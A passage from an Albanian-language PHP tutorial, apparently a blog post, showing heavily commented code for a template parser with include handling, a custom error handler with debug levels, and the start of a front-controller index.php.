italic;">				*/</span></li><li>				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>					<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>				<span style="color: #009900;">&#125;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksioni qe zevendeson pseudo-kodet e shablloneve me tekstin e vertete.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Parametrin $codes te funksionit e kam detyruar te jete vektor duke i shtuar</span></li><li><span style="color: #666666; font-style: italic;">		fjalen kyce &quot;array&quot; perpara. Kjo quhet Type Hinting dhe eshte i disponueshem</span></li><li><span style="color: #666666; font-style: italic;">		ne PHP qe nga versioni 5.1.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> parse <span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span> <span style="color: #000088;">$codes</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Therras funksionin parseIncludes(). Shpjegohet me poshte.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">parseIncludes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Zevendesoj pseudo-konstanten {PATH} me konstantet PATH (e deklaruar ne config.php).</span></li><li><span style="color: #666666; font-style: italic;">			{PATH} e kam perdorur neper shabllone per ti bere lidhjet absolute, qe te mos kisha</span></li><li><span style="color: #666666; font-style: italic;">			probleme me perfshirjen e aseteve (css apo cfaredo tjeter) dhe ndertimin e lidhjeve.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'{PATH}'</span><span style="color: #339933;">,</span> PATH<span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Bej nje lak ne te gjithe elementet e vektorit. Pritet qe formati te jete nje</span></li><li><span style="color: #666666; font-style: italic;">			vektor ku pseudo-kodi eshte celesi dhe teksti qe do te zevendesohet vlera.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">			array('pseudo-kodi1'=&gt;'teksti1', 'pseudo-kodi2=&gt;'teksti2');</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$codes</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$find</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$replace</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				Nje regular expression per te kontrolluar nese pseudo-kodi i dhene egziston</span></li><li><span style="color: #666666; font-style: italic;">				ne shabllon. Nese po, vazhdon zevendesimi me str_replace().</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;|<span style="color: #006699; font-weight: bold;">{$find}</span>|&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'{'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$find</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'}'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$replace</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksion qe ve ne pune funksionalitetin e pseudo-kodeve {include}. Funksionon</span></li><li><span style="color: #666666; font-style: italic;">		egzaktesisht si nje include() ne PHP, ku permbajtja e skedarit te bere include</span></li><li><span style="color: #666666; font-style: italic;">		perfshihet brenda skedarit meme.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> parseIncludes <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			Nje regular expression qe kontrollon per sintaksen e include-eve: {include=skedari.html}.</span></li><li><span style="color: #666666; font-style: italic;">			preg_match_all(), ndryshe nga preg_match(), kthen te gjitha instancat e gjetura dhe i</span></li><li><span style="color: #666666; font-style: italic;">			vendos ne vektorin $matches. Formati i kthyer eshte pak jo intuitiv ne pamje te pare, por</span></li><li><span style="color: #666666; font-style: italic;">			ka sens ne perdorim. Nese do kisha nje skedar qe ben include 2 skedare: header.html dhe</span></li><li><span style="color: #666666; font-style: italic;">			footer.html, $matches do kishte egzaktesisht kete pamje:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">			array (</span></li><li><span style="color: #666666; font-style: italic;">					[0] =&gt; array ([0] =&gt; '{include=header.html}', [1] =&gt; '{include=footer.html}'),</span></li><li><span style="color: #666666; font-style: italic;">					[1] =&gt; array ([0] =&gt; 'header.html', [1] =&gt; 'footer.html')</span></li><li><span style="color: #666666; font-style: italic;">				&nbsp;&nbsp;)</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">			Si c'e shini, krijohet nje vektor multi-dimension: 2 vektore brenda 1 vektori tjeter.</span></li><li><span style="color: #666666; font-style: italic;">			Vektori i pare mban pjeset e plota qe pershtaten sipas sintakses se regular expression. </span></li><li><span style="color: #666666; font-style: italic;">			Vektori i dyte mban vetem pjeset dinamike qe kam percaktuar ne regular expression. Eshte</span></li><li><span style="color: #666666; font-style: italic;">			pikerisht pjesa: (.+) qe do te thote &quot;cdo karakter, 1 ose me shume here&quot;.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'|{include=(.+)}|i'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #339933;">,</span> <span style="color: #000088;">$matches</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				$finds eshte vektori i pare, pra pjeset e plota te gjetura. Ndersa $files eshte vektori</span></li><li><span style="color: #666666; font-style: italic;">				i dyte, pra emrat e skedareve.</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #000088;">$finds</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$matches</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>			<span style="color: #000088;">$files</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$matches</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				Nje vektor bosh ku do te ruhen permbajtjet e skedareve qe do te behen include.</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #000088;">$replaces</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				Nje lak ne vektorin $finds ku do te perdor edhe celesat, edhe vlerat.</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$finds</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">					Ndertoj adresen e skedarit qe do te behet include. Kam perdorur celesin</span></li><li><span style="color: #666666; font-style: italic;">					$key ne kete rresht per tu referencuar skedarit te duhur. Vektoret $finds</span></li><li><span style="color: #666666; font-style: italic;">					dhe $files kane renditje te njejte dhe si rrjedhim, edhe celesa te njejte.</span></li><li><span style="color: #666666; font-style: italic;">				*/</span></li><li>				<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'app/views/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$files</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>				<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">					Kontrolloj nese skedari egziston. Nese po, permbajta e tij futet ne vektorin</span></li><li><span style="color: #666666; font-style: italic;">					$replaces si nje element i ri vektori. Nese jo, e fshi elementin ne vektorin</span></li><li><span style="color: #666666; font-style: italic;">					$finds, qe ne fund te me perputhen ne numer elementet e $finds me $replaces.</span></li><li><span style="color: #666666; font-style: italic;">				*/</span></li><li>				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>					<span style="color: #000088;">$replaces</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>				<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>					<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$finds</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>				<span style="color: #009900;">&#125;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				Nje zevendesim i thjeshte me str_replace(). Ky i fundit mund ti marre parametrat</span></li><li><span style="color: #666666; font-style: italic;">				edhe si vektore; mjafton qe te jene te njejte ne numer.</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$finds</span><span style="color: #339933;">,</span> <span style="color: #000088;">$replaces</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Nje funksion nderfaqes per te kthyer output-in e faqes. Supozohet te therritet</span></li><li><span style="color: #666666; font-style: italic;">		ne fund te veprimeve, pasi jane therritur loadFiles() dhe parse().</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> output <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #339933;">;</span>	</li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Funksioni për Kapjen e Gabimeve</h2>
<p>Nuk ka asgjë të veçantë këtu, sepse i gjithë kodi është tipik dhe në fakt do të gjeni një version shumë të ngjashëm në manualin e PHP-së. Ajo që kam bërë është përcaktimi i një funksioni që gjeneron disa nivele të ndryshme gabimesh dhe çfarë informacioni do të shfaqë. Nëse është i tipit FATAL, do përfundojë egzekutimin. Nëse është i tipeve ERROR apo WARNING, do gjenerojë gabimet por do e lërë aplikacionin të mbarojë egzekutimin. Gjithashtu kam shtuar një konstante DEGUB që vendos nivelin e raportimit të gabimeve: 0 (e çaktivizuar) nxjerr një mesazh të shkurtër, ndërsa 1 (e aktivizuar) nxjerr një mesazh të detajuar. Ajo që kam shtuar në këtë funksion është shfaqja e rreshtit ku ka ndodhur gabimi; me siguri nuk funksionon gjithmonë si ç&#8217;duhet, por mu duk një prekje e këndshme.</p>
<p>Mjafton që ky funksion të vendoset si parameter i funksionit PHP set_error_handler(), dhe sa herë thërritet trigger_error(), në të vërtetë thërritet funksioni jonë. Kaq!</p>
<p>Këtu ka shumë vend për tu përmirësuar. PHP ofron Exceptions, që janë një mënyrë shumë me e mirë për të kapur dhe raportuar gabime. Më e bukura është se vjen në formë objekti dhe mund të zgjerohet sipas kërkesave specifike.</p>
<p><strong>Kodi i funksionit të Gabimeve:</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Funksion per te krijuar mesazhe te personalizuar gabimi kur therritet me trigger_error().</span></li><li><span style="color: #666666; font-style: italic;">	Vendoset ne index.php permes set_error_handler()</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000000; font-weight: bold;">function</span> ErrorHandler <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">,</span> <span style="color: #000088;">$string</span><span style="color: #339933;">,</span> <span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #000088;">$line</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Kontrollon nese kodi i gabimit egziston ne nivelin e error_reporting. PHP perdor nje sistem</span></li><li><span style="color: #666666; font-style: italic;">		bitesh per te vendosur nivelin e raportimit te gabimeve dhe ne kete rast, perdora operatorin</span></li><li><span style="color: #666666; font-style: italic;">		Bitwise AND per te kontrolluar nese vlera binare e kodit permbahet ne vleren binare te error_reporting.</span></li><li><span style="color: #666666; font-style: italic;">		Nese jo, funksioni perfundon sepse nuk ka cfare te ktheje.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">return</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Lexon skedarin ku ka ndodhur gabimi (kthehet nga PHP permes parametrit $file) me file(). Rezultati</span></li><li><span style="color: #666666; font-style: italic;">		eshte nje vektor qe permban cdo rresht ne nje element. Marr rreshtin e gabimit (e kthyer nga $line)</span></li><li><span style="color: #666666; font-style: italic;">		dhe 1 rresht perpara dhe 1 rresht pas tij. Ne fund, pastroj me trim() rreshtat e ri. PHP_EOL eshte nje</span></li><li><span style="color: #666666; font-style: italic;">		konstante e PHP qe kthen versionin e duhur te rreshtit te ri (\r\n =&gt; Win, \r =&gt; OSX, \n =&gt; Unix).</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Nese konstantja DEBUG eshte 0, ky bllok nuk konsiderohet per te mos kryer veprime shtese.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>DEBUG<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$file_lines</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$error_line</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$file_lines</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$line</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;div style=&quot;background:#f0c0c0; color:#853f3f;&quot;&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$file_lines</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$line</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/div&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$file_lines</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$line</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$error_line</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$error_line</span><span style="color: #339933;">,</span> PHP_EOL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Kontrollohen 3 tipet e konstanteve te gabimeve: FATAL, ERROR, WARNING. Nese DEBUG eshte 0, printoj</span></li><li><span style="color: #666666; font-style: italic;">		nje mesazh te thjeshte; ne te kundert printoj nje mesazh me te detajuar. Vetem per tipin e gabimit</span></li><li><span style="color: #666666; font-style: italic;">		FATAL e kam detyruar te mbyllet egzekutimi i aplikacionit (me exit;) sepse supozohet te jete gabim</span></li><li><span style="color: #666666; font-style: italic;">		i rendesishem.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">case</span> FATAL<span style="color: #339933;">:</span></li><li>			<span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span>DEBUG<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">:</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Ndodhi nje gabim. Ju lutemi te provoni me vone.'</span><span style="color: #339933;">;</span></li><li>					<span style="color: #990000;">exit</span><span style="color: #339933;">;</span></li><li>				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">:</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;b&gt;Fatal Error&lt;/b&gt; in [<span style="color: #006699; font-weight: bold;">$file</span>] at Line <span style="color: #006699; font-weight: bold;">$line</span></span></li><li>&nbsp;</li><li><span style="color: #0000ff;">&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;div style='background:#f0dddd; border:1px solid #cf9898; color:#c58080; padding:15px;'&gt;<span style="color: #006699; font-weight: bold;">$error_line</span>&lt;/div&gt;</span></li><li><span style="color: #0000ff;">&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;div style='background:#e6edf3; border:1px solid #a2bcd2; color:#7691a9; padding:15px;'&gt;<span style="color: #006699; font-weight: bold;">$string</span>&lt;/div&gt;&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #990000;">exit</span><span style="color: #339933;">;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>		<span style="color: #b1b100;">case</span> ERROR<span style="color: #339933;">:</span></li><li>			<span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span>DEBUG<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">:</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Ndodhi nje gabim. Ju lutemi te provoni me vone.'</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span></li><li>				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">:</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;b&gt;Fatal Error&lt;/b&gt; in [<span style="color: #006699; font-weight: bold;">$file</span>] at Line <span style="color: #006699; font-weight: bold;">$line</span></span></li><li>&nbsp;</li><li><span style="color: #0000ff;">&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;div style='background:#f0dddd; border:1px solid #cf9898; color:#c58080; padding:15px;'&gt;<span style="color: #006699; font-weight: bold;">$error_line</span>&lt;/div&gt;</span></li><li><span style="color: #0000ff;">&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;div style='background:#e6edf3; border:1px solid #a2bcd2; color:#7691a9; padding:15px;'&gt;<span style="color: #006699; font-weight: bold;">$string</span>&lt;/div&gt;&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>			<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">case</span> WARNING<span style="color: #339933;">:</span></li><li>			<span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span>DEBUG<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">:</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Ndodhi nje gabim i vogel, por aplikacioni do te vazhdoje te egzekutohet.'</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span></li><li>				<span style="color: #b1b100;">case</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">:</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;b&gt;Fatal Error&lt;/b&gt; in [<span style="color: #006699; font-weight: bold;">$file</span>] at Line <span style="color: #006699; font-weight: bold;">$line</span></span></li><li>&nbsp;</li><li><span style="color: #0000ff;">&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;div style='background:#f0dddd; border:1px solid #cf9898; color:#c58080; padding:15px;'&gt;<span style="color: #006699; font-weight: bold;">$error_line</span>&lt;/div&gt;</span></li><li><span style="color: #0000ff;">&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;div style='background:#e6edf3; border:1px solid #a2bcd2; color:#7691a9; padding:15px;'&gt;<span style="color: #006699; font-weight: bold;">$string</span>&lt;/div&gt;&quot;</span><span style="color: #339933;">;</span></li><li>					<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span></li><li>			<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Nisja e veprimeve në index.php</h2>
<p>Skedari index.php vë motorin në lëvizje dhe relativisht me të funksionon i gjithë sistemi. E vutë re që URL-të ishin të ndërtuara në formën: <em>index.php/kontrolluesi/metoda/</em>, por me <em>.htaccess</em> e kisha hequr pjesën &#8220;<em>index.php</em>&#8221; për ti bërë URL-të më të bukura. Një sistem i tillë më lejon që logjikën dhe prezantimin ta kem të ndarë, por as ta vras mendjen për përfshirjen e skedarëve, deklarimin e klasave, router-in, etj. Këto i bën të gjitha index.php dhe mua më mjafton të merrem me faqet e ndryshme dhe kodin ne Kontrollues.</p>
<p>Në index.php kam bërë të gjitha veprimet që do të përdoren në rend global nëpër Librari. Kam bërë include() skedarët e konfigurimit dhe funksionin e kapjes së gabimeve, kam shkruar një funksion __autoload() që bën include() automatikisht klasat, kam ngarkuar përmes Loader-it objektet që do të më duhen dhe kam nisur Router-in. E thjeshtë dhe praktike!</p>
<p><strong>Kodi në index.php</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Perfshij funksionin e gabimeve (error.php) dhe konfigurimin (config.php)</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span>__DIR__ <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/core/error.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span>__DIR__ <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/config.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	__autoload() egzekutohet si tentativa e fundit per te perfshire skedaret e duhur</span></li><li><span style="color: #666666; font-style: italic;">	te nje klase. Eshte nje menyre e mire per te bere include/require skedaret e klasave</span></li><li><span style="color: #666666; font-style: italic;">	dhe per te hequr punen e bezdisshme (dhe te pamundur ne shume raste) te perfshirjes</span></li><li><span style="color: #666666; font-style: italic;">	manuale te klasave. Parametri $class eshte emri i klases qe po tentohet te therritet</span></li><li><span style="color: #666666; font-style: italic;">	nga aplikacioni. </span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000000; font-weight: bold;">function</span> __autoload<span style="color: #009900;">&#40;</span><span style="color: #000088;">$class</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Blloku i pare i if() egzekutohet nese emri i klases 